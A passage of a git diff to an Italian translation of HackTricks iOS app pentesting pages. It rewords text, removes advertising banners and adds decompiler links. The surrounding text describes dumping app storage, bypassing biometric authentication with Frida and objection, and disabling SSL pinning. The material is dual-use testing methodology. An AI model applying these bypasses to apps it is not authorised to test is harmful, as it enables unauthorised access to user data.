[**patching/aggiornamento automatico**](ios-pentesting/#hot-patching-enforced-updateing) +- [ ] Controlla per [**librerie di terze parti malevole**](ios-pentesting/#third-parties) {{#include ../banners/hacktricks-training.md}} - -
- -\ -Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli **strumenti comunitari più avanzati** al mondo.\ -Accedi oggi: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/src/mobile-pentesting/ios-pentesting/README.md b/src/mobile-pentesting/ios-pentesting/README.md index bc802e7ec..516d7e0f9 100644 --- a/src/mobile-pentesting/ios-pentesting/README.md +++ b/src/mobile-pentesting/ios-pentesting/README.md @@ -1,13 +1,5 @@ # iOS Pentesting -
- -\ -Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\ -Accedi oggi: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %} - {{#include ../../banners/hacktricks-training.md}} ## iOS Basics @@ -40,6 +32,11 @@ basic-ios-testing-operations.md ### Basic Static Analysis +Alcuni interessanti decompilatori iOS - IPA: + +- https://github.com/LaurieWired/Malimite +- https://ghidra-sre.org/ + È consigliato utilizzare lo strumento [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) per eseguire un'analisi statica automatica sul file IPA. Identificazione delle **protezioni presenti nel binario**: @@ -70,7 +67,7 @@ otool -arch all -Vl | grep -A5 LC_ENCRYPT # Il cryptid dovrebbe e **Identificazione di Funzioni Sensibili/Insecure** -- **Algoritmi di Hash Deboli** +- **Algoritmi di Hashing Deboli** ```bash # Sul dispositivo iOS @@ -174,7 +171,7 @@ La struttura di un **file IPA** è essenzialmente quella di un **pacchetto compr - **`PlugIns/`**: Questo può includere estensioni all'applicazione, note come file `.appex`, anche se non sono sempre presenti. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Viene utilizzato per salvare i dati permanenti della tua applicazione per l'uso offline, per memorizzare dati temporanei e per aggiungere funzionalità di annullamento all'app su un singolo dispositivo. Per sincronizzare i dati su più dispositivi in un singolo account iCloud, Core Data rispecchia automaticamente il tuo schema in un contenitore CloudKit. - [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Il file `PkgInfo` è un modo alternativo per specificare i codici di tipo e creatore della tua applicazione o bundle. - **en.lproj, fr.proj, Base.lproj**: Sono i pacchetti di lingua che contengono risorse per quelle lingue specifiche e una risorsa predefinita nel caso in cui una lingua non sia supportata. -- **Sicurezza**: La directory `_CodeSignature/` gioca un ruolo critico nella sicurezza dell'app verificando l'integrità di tutti i file impacchettati attraverso firme digitali. +- **Sicurezza**: La directory `_CodeSignature/` gioca un ruolo critico nella sicurezza dell'app verificando l'integrità di tutti i file inclusi tramite firme digitali. - **Gestione degli Asset**: Il file `Assets.car` utilizza la compressione per gestire in modo efficiente gli asset grafici, cruciale per ottimizzare le prestazioni dell'applicazione e ridurre le sue dimensioni complessive. - **Frameworks e PlugIns**: Queste directory sottolineano la modularità delle applicazioni iOS, consentendo agli sviluppatori di includere librerie di codice riutilizzabili (`Frameworks/`) e di estendere la funzionalità dell'app (`PlugIns/`). - **Localizzazione**: La struttura supporta più lingue, facilitando la portata globale dell'applicazione includendo risorse per pacchetti di lingue specifiche. @@ -194,7 +191,7 @@ $ plutil -convert xml1 Info.plist $ apt install libplist-utils $ plistutil -i Info.plist -o Info_xml.plist ``` -Tra la miriade di informazioni che il file **Info.plist** può rivelare, le voci notevoli includono le stringhe di autorizzazione dell'app (`UsageDescription`), gli schemi URL personalizzati (`CFBundleURLTypes`) e le configurazioni per la Sicurezza del Trasporto dell'App (`NSAppTransportSecurity`). Queste voci, insieme ad altre come i tipi di documenti personalizzati esportati/importati (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), possono essere facilmente individuate ispezionando il file o utilizzando un semplice comando `grep`: +Tra la miriade di informazioni che il file **Info.plist** può rivelare, voci notevoli includono le stringhe di autorizzazione dell'app (`UsageDescription`), gli schemi URL personalizzati (`CFBundleURLTypes`) e le configurazioni per la Sicurezza del Trasporto dell'App (`NSAppTransportSecurity`). Queste voci, insieme ad altre come i tipi di documenti personalizzati esportati/importati (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), possono essere facilmente individuate ispezionando il file o utilizzando un semplice comando `grep`: ```bash $ grep -i Info.plist ``` @@ -207,7 +204,7 @@ Nell'ambiente iOS, le directory sono designate specificamente per **applicazioni > > Tuttavia, entrambe le cartelle (dati e cartelle contenitore) hanno il file **`.com.apple.mobile_container_manager.metadata.plist`** che collega entrambi i file nella chiave `MCMetadataIdentifier`). -Per facilitare la scoperta della directory di installazione di un'app installata dall'utente, lo **strumento objection** fornisce un comando utile, `env`. Questo comando rivela informazioni dettagliate sulla directory per l'app in questione. Di seguito è riportato un esempio di come utilizzare questo comando: +Per facilitare la scoperta della directory di installazione di un'app installata dall'utente, lo strumento **objection** fornisce un comando utile, `env`. Questo comando rivela informazioni dettagliate sulla directory per l'app in questione. Di seguito è riportato un esempio di come utilizzare questo comando: ```bash OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env @@ -233,17 +230,17 @@ lsof -p | grep -i "/containers" | head -n 1 - Questo è il pacchetto dell'applicazione come visto prima nell'IPA, contiene dati essenziali dell'applicazione, contenuti statici e il binario compilato dell'applicazione. - Questa directory è visibile agli utenti, ma **gli utenti non possono scriverci**. - Il contenuto in questa directory **non è sottoposto a backup**. -- I contenuti di questa cartella sono utilizzati per **convalidare la firma del codice**. +- I contenuti di questa cartella sono utilizzati per **validare la firma del codice**. **Directory dei dati:** - **Documents/** - Contiene tutti i dati generati dall'utente. L'utente finale dell'applicazione avvia la creazione di questi dati. - Visibile agli utenti e **gli utenti possono scriverci**. -- Il contenuto in questa directory **è sottoposto a backup**. +- Il contenuto in questa directory è **sottoposto a backup**. - L'app può disabilitare i percorsi impostando `NSURLIsExcludedFromBackupKey`. - **Library/** -- Contiene tutti i **file che non sono specifici per l'utente**, come **cache**, **preferenze**, **cookie** e file di configurazione plist. +- Contiene tutti i **file che non sono specifici per l'utente**, come **cache**, **preferenze**, **cookie** e file di configurazione della lista di proprietà (plist). - Le app iOS di solito utilizzano le sottodirectory `Application Support` e `Caches`, ma l'app può creare sottodirectory personalizzate. - **Library/Caches/** - Contiene **file cache semi-persistenti.** @@ -253,11 +250,11 @@ lsof -p | grep -i "/containers" | head -n 1 - **Library/Application Support/** - Contiene **file** **persistenti** necessari per l'esecuzione dell'app. - **Invisibile** **agli** **utenti** e gli utenti non possono scriverci. -- Il contenuto in questa directory **è sottoposto** **a backup**. +- Il contenuto in questa directory è **sottoposto** **a** **backup**. - L'app può disabilitare i percorsi impostando `NSURLIsExcludedFromBackupKey`. - **Library/Preferences/** - Utilizzato per memorizzare proprietà che possono **persistere anche dopo che un'applicazione è stata riavviata**. -- Le informazioni vengono salvate, non criptate, all'interno della sandbox dell'applicazione in un file plist chiamato \[BUNDLE_ID].plist. +- Le informazioni sono salvate, non crittografate, all'interno della sandbox dell'applicazione in un file plist chiamato \[BUNDLE_ID].plist. - Tutti i coppie chiave/valore memorizzate utilizzando `NSUserDefaults` possono essere trovate in questo file. - **tmp/** - Utilizza questa directory per scrivere **file temporanei** che non devono persistere tra i lanci dell'app. @@ -298,7 +295,7 @@ DVIA-v2: ``` **Controlla se l'app è crittografata** -Vedi se c'è qualche output per: +Verifica se c'è qualche output per: ```bash otool -l | grep -A 4 LC_ENCRYPTION_INFO ``` @@ -360,15 +357,7 @@ double _field2; ``` Tuttavia, le migliori opzioni per disassemblare il binario sono: [**Hopper**](https://www.hopperapp.com/download.html?) e [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/). -
- -\ -Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti comunitari più avanzati** al mondo.\ -Accedi oggi: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %} - -## Archiviazione Dati +## Archiviazione dei Dati Per saperne di più su come iOS memorizza i dati nel dispositivo, leggi questa pagina: @@ -377,12 +366,12 @@ ios-basics.md {{#endref}} > [!WARNING] -> I seguenti luoghi per memorizzare informazioni dovrebbero essere controllati **subito dopo aver installato l'applicazione**, **dopo aver controllato tutte le funzionalità** dell'applicazione e anche dopo **essere usciti da un utente e accedere a un altro**.\ +> I seguenti luoghi per memorizzare informazioni dovrebbero essere controllati **subito dopo aver installato l'applicazione**, **dopo aver verificato tutte le funzionalità** dell'applicazione e anche dopo **essersi disconnessi da un utente e aver effettuato l'accesso a un altro**.\ > L'obiettivo è trovare **informazioni sensibili non protette** dell'applicazione (password, token), dell'utente attuale e degli utenti precedentemente connessi. ### Plist -I file **plist** sono file XML strutturati che **contengono coppie chiave-valore**. È un modo per memorizzare dati persistenti, quindi a volte potresti trovare **informazioni sensibili in questi file**. È consigliato controllare questi file dopo aver installato l'app e dopo averlo utilizzato intensivamente per vedere se nuovi dati vengono scritti. +I file **plist** sono file XML strutturati che **contengono coppie chiave-valore**. È un modo per memorizzare dati persistenti, quindi a volte potresti trovare **informazioni sensibili in questi file**. Si consiglia di controllare questi file dopo aver installato l'app e dopo averlo utilizzato intensamente per vedere se vengono scritti nuovi dati. Il modo più comune per persistere i dati nei file plist è attraverso l'uso di **NSUserDefaults**. Questo file plist è salvato all'interno della sandbox dell'app in **`Library/Preferences/.plist`** @@ -390,7 +379,7 @@ La classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundatio Questi dati non possono più essere accessibili direttamente tramite un computer fidato, ma possono essere accessibili eseguendo un **backup**. -Puoi **dumpare** le informazioni salvate utilizzando **`NSUserDefaults`** con `ios nsuserdefaults get` di objection. +Puoi **dumpare** le informazioni salvate utilizzando **`NSUserDefaults`** con il comando `ios nsuserdefaults get` di objection. Per trovare tutti i plist utilizzati dall'applicazione, puoi accedere a `/private/var/mobile/Containers/Data/Application/{APPID}` e eseguire: ```bash @@ -545,7 +534,7 @@ A meno che l'iPhone non sia jailbroken, l'**attaccante** deve avere **accesso** Un modo per prevenire questo comportamento indesiderato è mettere uno schermo vuoto o rimuovere i dati sensibili prima di prendere lo snapshot utilizzando la funzione `ApplicationDidEnterBackground()`. -Di seguito è riportato un esempio di metodo di rimedio che imposterà uno screenshot predefinito. +Di seguito è riportato un esempio di metodo di remediation che imposterà uno screenshot predefinito. Swift: ```swift @@ -605,7 +594,7 @@ Con iOS 8.0 e versioni successive, gli utenti possono installare estensioni di t ### **Prevenire la Cache dei Campi di Testo** -Il [protocollo UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) offre proprietà per gestire la correzione automatica e l'inserimento di testo sicuro, essenziali per prevenire la memorizzazione nella cache di informazioni sensibili. Ad esempio, disabilitare la correzione automatica e abilitare l'inserimento di testo sicuro può essere ottenuto con: +Il [protocollo UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) offre proprietà per gestire la correzione automatica e l'inserimento di testo sicuro, essenziali per prevenire la memorizzazione di informazioni sensibili. Ad esempio, disabilitare la correzione automatica e abilitare l'inserimento di testo sicuro può essere ottenuto con: ```objectivec textObject.autocorrectionType = UITextAutocorrectionTypeNo; textObject.secureTextEntry = YES; @@ -636,10 +625,10 @@ sono utili. Inoltre, **Xcode** offre un modo per raccogliere i log della console 1. Apri Xcode. 2. Collega il dispositivo iOS. -3. Naviga su **Finestra** -> **Dispositivi e Simulatori**. +3. Naviga su **Finestra** -> **Dispositivi e simulatori**. 4. Seleziona il tuo dispositivo. 5. Attiva il problema che stai investigando. -6. Usa il pulsante **Apri Console** per visualizzare i log in una nuova finestra. +6. Usa il pulsante **Apri console** per visualizzare i log in una nuova finestra. Per un logging più avanzato, collegarsi alla shell del dispositivo e utilizzare **socat** può fornire un monitoraggio dei log in tempo reale: ```bash @@ -647,33 +636,23 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock ``` Seguito da comandi per osservare le attività di log, che possono essere inestimabili per diagnosticare problemi o identificare potenziali perdite di dati nei log. ---- - -
- -\ -Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti comunitari più avanzati** al mondo.\ -Accedi oggi: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %} - ## Backup Le **funzionalità di auto-backup** sono integrate in iOS, facilitando la creazione di copie dei dati del dispositivo tramite iTunes (fino a macOS Catalina), Finder (da macOS Catalina in poi) o iCloud. Questi backup comprendono quasi tutti i dati del dispositivo, escludendo elementi altamente sensibili come i dettagli di Apple Pay e le configurazioni di Touch ID. ### Rischi di Sicurezza -L'inclusione di **app installate e dei loro dati** nei backup solleva la questione della potenziale **perdita di dati** e il rischio che **modifiche ai backup possano alterare la funzionalità dell'app**. Si consiglia di **non memorizzare informazioni sensibili in testo semplice** all'interno della directory di qualsiasi app o delle sue sottodirectory per mitigare questi rischi. +L'inclusione di **app installate e dei loro dati** nei backup solleva la questione della potenziale **perdita di dati** e il rischio che **le modifiche ai backup possano alterare la funzionalità delle app**. Si consiglia di **non memorizzare informazioni sensibili in testo semplice** all'interno della directory di qualsiasi app o delle sue sottodirectory per mitigare questi rischi. ### Escludere File dai Backup I file in `Documents/` e `Library/Application Support/` vengono salvati nei backup per impostazione predefinita. Gli sviluppatori possono escludere file o directory specifici dai backup utilizzando `NSURL setResourceValue:forKey:error:` con il `NSURLIsExcludedFromBackupKey`. Questa pratica è cruciale per proteggere i dati sensibili dall'essere inclusi nei backup. -### Testare per Vulnerabilità +### Testare le Vulnerabilità -Per valutare la sicurezza del backup di un'app, inizia creando un **backup** utilizzando Finder, quindi localizzalo seguendo le indicazioni della [documentazione ufficiale di Apple](https://support.apple.com/en-us/HT204215). Analizza il backup per dati sensibili o configurazioni che potrebbero essere modificate per influenzare il comportamento dell'app. +Per valutare la sicurezza del backup di un'app, inizia con il **creare un backup** utilizzando Finder, quindi localizzalo seguendo le indicazioni della [documentazione ufficiale di Apple](https://support.apple.com/en-us/HT204215). Analizza il backup per dati sensibili o configurazioni che potrebbero essere modificate per influenzare il comportamento dell'app. -Le informazioni sensibili possono essere cercate utilizzando strumenti da riga di comando o applicazioni come [iMazing](https://imazing.com). Per i backup crittografati, la presenza di crittografia può essere confermata controllando la chiave "IsEncrypted" nel file "Manifest.plist" alla radice del backup. +Le informazioni sensibili possono essere cercate utilizzando strumenti da riga di comando o applicazioni come [iMazing](https://imazing.com). Per i backup crittografati, la presenza di crittografia può essere confermata controllando la chiave "IsEncrypted" nel file "Manifest.plist" nella radice del backup. ```xml @@ -753,7 +732,7 @@ Per integrare Touch ID/Face ID, gli sviluppatori hanno due scelte API: - **`Security.framework`** per l'accesso ai servizi di keychain di basso livello, proteggendo i dati segreti con autenticazione biometrica. Vari [wrapper open-source](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) semplificano l'accesso al keychain. > [!CAUTION] -> Tuttavia, sia `LocalAuthentication.framework` che `Security.framework` presentano vulnerabilità, poiché restituiscono principalmente valori booleani senza trasmettere dati per i processi di autenticazione, rendendoli suscettibili a bypass (riferirsi a [Don't touch me that way, di David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)). +> Tuttavia, sia `LocalAuthentication.framework` che `Security.framework` presentano vulnerabilità, poiché restituiscono principalmente valori booleani senza trasmettere dati per i processi di autenticazione, rendendoli suscettibili a bypass (fare riferimento a [Don't touch me that way, di David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)). ### Implementazione dell'Autenticazione Locale @@ -770,7 +749,7 @@ Implementare **l'autenticazione locale** nelle app iOS comporta l'uso delle **AP Il keychain offre la possibilità di impostare elementi con l'attributo `SecAccessControl`, che limita l'accesso all'elemento fino a quando l'utente non si autentica con successo tramite Touch ID o codice di accesso del dispositivo. Questa funzionalità è cruciale per migliorare la sicurezza. -Di seguito sono riportati esempi di codice in Swift e Objective-C che dimostrano come salvare e recuperare una stringa dal/al keychain, sfruttando queste funzionalità di sicurezza. Gli esempi mostrano specificamente come impostare il controllo degli accessi per richiedere l'autenticazione Touch ID e garantire che i dati siano accessibili solo sul dispositivo su cui sono stati impostati, a condizione che un codice di accesso del dispositivo sia configurato. +Di seguito sono riportati esempi di codice in Swift e Objective-C che dimostrano come salvare e recuperare una stringa dal/al keychain, sfruttando queste funzionalità di sicurezza. Gli esempi mostrano specificamente come impostare il controllo degli accessi per richiedere l'autenticazione Touch ID e garantire che i dati siano accessibili solo sul dispositivo su cui sono stati configurati, a condizione che sia configurato un codice di accesso del dispositivo. {{#tabs}} {{#tab name="Swift"}} @@ -843,7 +822,7 @@ if (status == noErr) { {{#endtab}} {{#endtabs}} -Ora possiamo richiedere l'elemento salvato dal portachiavi. I servizi del portachiavi presenteranno la finestra di dialogo di autenticazione all'utente e restituiranno i dati o nil a seconda che sia stata fornita o meno un'impronta digitale adeguata. +Ora possiamo richiedere l'elemento salvato dal portachiavi. I servizi del portachiavi presenteranno la finestra di autenticazione all'utente e restituiranno i dati o nil a seconda che sia stata fornita o meno un'impronta digitale adeguata. {{#tabs}} {{#tab name="Swift"}} @@ -906,13 +885,13 @@ Se `LocalAuthentication.framework` è utilizzato in un'app, l'output conterrà e /System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication /System/Library/Frameworks/Security.framework/Security ``` -Se viene utilizzato `Security.framework`, verrà mostrato solo il secondo. +Se `Security.framework` è utilizzato, solo il secondo verrà mostrato. ### Bypass del Framework di Autenticazione Locale #### **Objection** -Attraverso il **Bypass Biometrics di Objection**, situato a [questa pagina GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), è disponibile una tecnica per superare il meccanismo di **LocalAuthentication**. Il nucleo di questo approccio implica l'uso di **Frida** per manipolare la funzione `evaluatePolicy`, garantendo che restituisca costantemente un risultato `True`, indipendentemente dal reale successo dell'autenticazione. Questo è particolarmente utile per eludere processi di autenticazione biometrica difettosi. +Attraverso il **Bypass Biometrics di Objection**, situato a [questa pagina GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), è disponibile una tecnica per superare il meccanismo **LocalAuthentication**. Il nucleo di questo approccio implica l'uso di **Frida** per manipolare la funzione `evaluatePolicy`, garantendo che restituisca costantemente un risultato `True`, indipendentemente dal reale successo dell'autenticazione. Questo è particolarmente utile per eludere processi di autenticazione biometrica difettosi. Per attivare questo bypass, viene impiegato il seguente comando: ```bash @@ -1030,7 +1009,7 @@ ios-serialisation-and-encoding.md ## Comunicazione di Rete È importante verificare che non ci sia comunicazione **senza crittografia** e anche che l'applicazione stia correttamente **validando il certificato TLS** del server.\ -Per controllare questi tipi di problemi puoi usare un proxy come **Burp**: +Per controllare questi tipi di problemi puoi utilizzare un proxy come **Burp**: {{#ref}} burp-configuration-for-ios.md @@ -1039,11 +1018,11 @@ burp-configuration-for-ios.md ### Controllo del Nome Host Un problema comune nella validazione del certificato TLS è controllare che il certificato sia stato firmato da una **CA** **fidata**, ma **non controllare** se **il nome host** del certificato è il nome host a cui si sta accedendo.\ -Per controllare questo problema usando Burp, dopo aver fidato la CA di Burp nell'iPhone, puoi **creare un nuovo certificato con Burp per un nome host diverso** e usarlo. Se l'applicazione funziona ancora, allora qualcosa è vulnerabile. +Per controllare questo problema utilizzando Burp, dopo aver fidato la CA di Burp nell'iPhone, puoi **creare un nuovo certificato con Burp per un nome host diverso** e usarlo. Se l'applicazione continua a funzionare, allora qualcosa è vulnerabile. ### Pinning del Certificato -Se un'applicazione sta utilizzando correttamente il SSL Pinning, allora l'applicazione funzionerà solo se il certificato è quello previsto. Quando si testa un'applicazione **questo potrebbe essere un problema poiché Burp servirà il proprio certificato.**\ +Se un'applicazione utilizza correttamente il SSL Pinning, allora l'applicazione funzionerà solo se il certificato è quello previsto. Quando si testa un'applicazione **questo potrebbe essere un problema poiché Burp servirà il proprio certificato.**\ Per bypassare questa protezione all'interno di un dispositivo jailbroken, puoi installare l'applicazione [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) o installare [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) Puoi anche usare **objection's** `ios sslpinning disable` @@ -1061,8 +1040,8 @@ Puoi anche usare **objection's** `ios sslpinning disable` ### Hot Patching/Aggiornamento Forzato -Gli sviluppatori possono **patchare tutte le installazioni della loro app istantaneamente** senza dover ripresentare l'applicazione all'App Store e aspettare che venga approvata.\ -A questo scopo si usa solitamente [**JSPatch**](https://github.com/bang590/JSPatch)**.** Ma ci sono anche altre opzioni come [Siren](https://github.com/ArtSabintsev/Siren) e [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\ +Gli sviluppatori possono **patchare tutte le installazioni della loro app istantaneamente** senza dover reinviare l'applicazione all'App Store e aspettare che venga approvata.\ +A questo scopo si utilizza solitamente [**JSPatch**](https://github.com/bang590/JSPatch)**.** Ma ci sono anche altre opzioni come [Siren](https://github.com/ArtSabintsev/Siren) e [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\ **Questo è un meccanismo pericoloso che potrebbe essere abusato da SDK di terze parti malevoli, quindi è consigliato controllare quale metodo viene utilizzato per l'aggiornamento automatico (se presente) e testarlo.** Potresti provare a scaricare una versione precedente dell'app a questo scopo. ### Terze Parti @@ -1073,7 +1052,7 @@ I servizi forniti dagli SDK di terze parti possono includere il tracciamento del L'implementazione di servizi di terze parti di solito avviene in due forme: una libreria autonoma o un SDK completo. Per proteggere la privacy degli utenti, qualsiasi dato condiviso con questi servizi dovrebbe essere **anonymizzato** per prevenire la divulgazione di Informazioni Personali Identificabili (PII). -Per identificare le librerie utilizzate da un'applicazione, il comando **`otool`** può essere impiegato. Questo strumento dovrebbe essere eseguito contro l'applicazione e ciascuna libreria condivisa che utilizza per scoprire librerie aggiuntive. +Per identificare le librerie utilizzate da un'applicazione, può essere impiegato il comando **`otool`**. Questo strumento dovrebbe essere eseguito contro l'applicazione e ciascuna libreria condivisa che utilizza per scoprire librerie aggiuntive. ```bash otool -L ``` @@ -1095,7 +1074,7 @@ otool -L - [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064) - [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc) - [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054) -- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) Corso gratuito IOS ([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)) +- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) Corso gratuito IOS([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)) - [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577) - [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse) - [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA) @@ -1105,11 +1084,5 @@ otool -L - [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) - [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2) -
-\ -Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\ -Accedi Oggi: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md b/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md index f6e0239b4..bb5477aff 100644 --- a/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md +++ b/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md @@ -2,14 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -\ -Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti comunitari più avanzati** al mondo.\ -Accedi oggi: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %} - ## Installazione del Certificato Burp sui Dispositivi iOS Per l'analisi sicura del traffico web e il SSL pinning sui dispositivi iOS, Burp Suite può essere utilizzato sia tramite il **Burp Mobile Assistant** che tramite configurazione manuale. Di seguito è riportata una guida riassuntiva su entrambi i metodi: @@ -18,7 +10,7 @@ Per l'analisi sicura del traffico web e il SSL pinning sui dispositivi iOS, Burp Il **Burp Mobile Assistant** semplifica il processo di installazione del Certificato Burp, configurazione del proxy e SSL Pinning. Ulteriori dettagli possono essere trovati nella [documentazione ufficiale di PortSwigger](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing). -### Passaggi di Installazione Manuale +### Passaggi per l'Installazione Manuale 1. **Configurazione del Proxy:** Inizia impostando Burp come proxy nelle impostazioni Wi-Fi dell'iPhone. 2. **Download del Certificato:** Naviga su `http://burp` nel browser del tuo dispositivo per scaricare il certificato. @@ -80,7 +72,7 @@ In _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER for > [!NOTE] > **Il simulatore iOS utilizzerà le configurazioni proxy del MacOS.** -### Configurazione del Proxy MacOS +### Configurazione Proxy MacOS Passaggi per configurare Burp come proxy: @@ -90,13 +82,7 @@ Passaggi per configurare Burp come proxy: ![](<../../images/image (431).png>) -- Clicca su _**Ok**_ e poi su _**Apply**_ +- Clicca su _**Ok**_ e poi su _**Apply**_ -
-\ -Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli strumenti della comunità **più avanzati** al mondo.\ -Accedi oggi: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md b/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md index a63a2107f..d39083445 100644 --- a/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md +++ b/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md @@ -2,11 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Approfondisci la tua esperienza in **Sicurezza Mobile** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione: - -{% embed url="https://academy.8ksec.io/" %} ## Installazione di Frida @@ -18,14 +13,14 @@ Approfondisci la tua esperienza in **Sicurezza Mobile** con 8kSec Academy. Padro 4. Vai alla nuova sorgente Frida aggiunta. 5. Installa il pacchetto Frida. -Se stai usando **Corellium**, dovrai scaricare il rilascio di Frida da [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) e decomprimere e copiare nella posizione dylib richiesta da Frida, ad esempio: `/Users/[youruser]/.cache/frida/gadget-ios.dylib` +Se stai usando **Corellium** dovrai scaricare il rilascio di Frida da [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) e decomprimere e copiare nella posizione dylib richiesta da Frida, ad esempio: `/Users/[youruser]/.cache/frida/gadget-ios.dylib` Dopo l'installazione, puoi usare sul tuo PC il comando **`frida-ls-devices`** e controllare che il dispositivo appaia (il tuo PC deve essere in grado di accedervi).\ Esegui anche **`frida-ps -Uia`** per controllare i processi in esecuzione del telefono. ## Frida senza dispositivo Jailbroken e senza patchare l'app -Controlla questo post del blog su come utilizzare Frida su dispositivi non jailbroken senza patchare l'app: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07) +Controlla questo post del blog su come usare Frida su dispositivi non jailbroken senza patchare l'app: 